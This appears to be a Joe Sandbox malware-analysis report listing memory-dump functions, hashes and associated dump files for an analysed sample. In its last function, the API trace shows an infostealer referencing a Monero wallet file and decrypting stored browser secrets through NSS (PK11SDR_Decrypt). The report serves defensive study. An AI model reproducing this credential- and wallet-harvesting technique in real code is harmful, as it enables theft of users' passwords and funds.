Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 9"?{$]2oW
API String ID: 0-3718640591
Opcode ID: 916342c2fba7185cc1ddc2a10291c628448667073f6acb6c7ec2a6fd1874c073
Instruction ID: 40581adcf62c28c00316a93ef0453d85b8925edf1939f4d90defc9ca64d9bcde
Opcode Fuzzy Hash: 916342c2fba7185cc1ddc2a10291c628448667073f6acb6c7ec2a6fd1874c073
Instruction Fuzzy Hash: 7C5103F39186149FE300AE2DEC8576AB7D6EFC4721F1A893CDAC887744EA35580487C6

Function 01282CBE Relevance: 1.8, Strings: 1, Instructions: 541COMMON

Download Yara Rule

Strings

!Q?, xrefs: 0128320C

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Q?
API String ID: 0-3746727104
Opcode ID: 4a055de0ca3c9b089739edc34367cf2396212e9ca4d9207747ce4885d1a7a576
Instruction ID: 42d688f695244192c9b85bee640675673ac9a6978b4ba1d8ff687a790a4562e9
Opcode Fuzzy Hash: 4a055de0ca3c9b089739edc34367cf2396212e9ca4d9207747ce4885d1a7a576
Instruction Fuzzy Hash: 53F115F36082049FD7007E29EC8577AFBE9EF94320F1A493DEAC487344E97558058687

Function 012798B8 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

<;i, xrefs: 012798C4

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <;i
API String ID: 0-250751814
Opcode ID: 9f5a6e08c54f90217bee5acb6c855ca1c76c42dfcc3fb24d32803f7f649d2395
Instruction ID: 58e60e2cc7db2408d1e6e0e48497fdfcd2564a847746ff862b8e9598bee8794f
Opcode Fuzzy Hash: 9f5a6e08c54f90217bee5acb6c855ca1c76c42dfcc3fb24d32803f7f649d2395
Instruction Fuzzy Hash: 046158F3A0C2009FE3086E29EC4577BBBE9EB94720F16893EE5C4D7780DA7558408796

Function 01227BB3 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fcd9f6a0ff4e9d7412a29bed0e416d9c1bb121ca8554048c380bc6fb6232026
Instruction ID: 734443265f60b7bfcd0ecff648b703cd22549b8b0561e7a0340b74fd40d8b6ab
Opcode Fuzzy Hash: 9fcd9f6a0ff4e9d7412a29bed0e416d9c1bb121ca8554048c380bc6fb6232026
Instruction Fuzzy Hash: 907123F3A083049FE314BE29EC8577AF7E5EB84320F16463DEBD487380EA7548058686

Function 011FC638 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1dd760f85bacef0e3b6e574066e81fb6878cf0b27adee35dc37ad39d694306
Instruction ID: f86ae0fdc33476437327de22b6e8650e1edb0a33037af4365672df569c287a48
Opcode Fuzzy Hash: 5e1dd760f85bacef0e3b6e574066e81fb6878cf0b27adee35dc37ad39d694306
Instruction Fuzzy Hash: 0A51F6F3A181109FF3049E29DC857BBBBD6EBD4320F2A8A3DD684D3784D93598058686

Function 013620C1 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f0f34241e8e73f66c10f09fc8cb570eb80361f6e3ad1da854fe276baf5732a2
Instruction ID: 4f8d9129127fbbcfb0ff22c7130113d4771bcd31bf50134fa86d701f9858ff59
Opcode Fuzzy Hash: 7f0f34241e8e73f66c10f09fc8cb570eb80361f6e3ad1da854fe276baf5732a2
Instruction Fuzzy Hash: A65104B690C218DBD349AF29DD84A7FB7EDEFA4604F06C52DE6C687B08D63558018783

Function 0120B81D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dba069a2c5e1457dc81a043f6b3573db55b5ff9bbe6305e73fa40dcf6b8a37b
Instruction ID: 0ace627861be2953f7a99997183e373c071652add266deaec9d89cb51eef1db6
Opcode Fuzzy Hash: 0dba069a2c5e1457dc81a043f6b3573db55b5ff9bbe6305e73fa40dcf6b8a37b
Instruction Fuzzy Hash: 442104F3A686085BF34C692AEC52773B28ADBD4320F2A463DDA85D33C0FC6998064155

Function 00ED9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00ECC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00ECC9A5

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00A9D488,00000000,?,00EE144C,00000000,?,?), ref: 00ECCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00ECCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00ECCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00ECCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00ECCAD9
StrStrA.SHLWAPI(?,00A9D3F8,00EE0B52), ref: 00ECCAF7
StrStrA.SHLWAPI(00000000,00A9D440), ref: 00ECCB1E
StrStrA.SHLWAPI(?,00A9DB80,00000000,?,00EE1458,00000000,?,00000000,00000000,?,00A98FB8,00000000,?,00EE1454,00000000,?), ref: 00ECCCA2
StrStrA.SHLWAPI(00000000,00A9DBA0), ref: 00ECCCB9

Part of subcall function 00ECC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00ECC871
Part of subcall function 00ECC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00ECC87C
Part of subcall function 00ECC820: PK11_GetInternalKeySlot.NSS3 ref: 00ECC88A
Part of subcall function 00ECC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00ECC8A5
Part of subcall function 00ECC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00ECC8EB
Part of subcall function 00ECC820: PK11_FreeSlot.NSS3(?), ref: 00ECC961

StrStrA.SHLWAPI(?,00A9DBA0,00000000,?,00EE145C,00000000,?,00000000,00A98FC8), ref: 00ECCD5A
StrStrA.SHLWAPI(00000000,00A991F8), ref: 00ECCD71

Part of subcall function 00ECC820: lstrcat.KERNEL32(?,00EE0B46), ref: 00ECC943
Part of subcall function 00ECC820: lstrcat.KERNEL32(?,00EE0B47), ref: 00ECC957
Part of subcall function 00ECC820: lstrcat.KERNEL32(?,00EE0B4E), ref: 00ECC978

lstrlen.KERNEL32(00000000), ref: 00ECCE44
CloseHandle.KERNEL32(00000000), ref: 00ECCE9C
NSS_Shutdown.NSS3 ref: 00ECCEAA

Strings

, xrefs: 00ECC9C6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
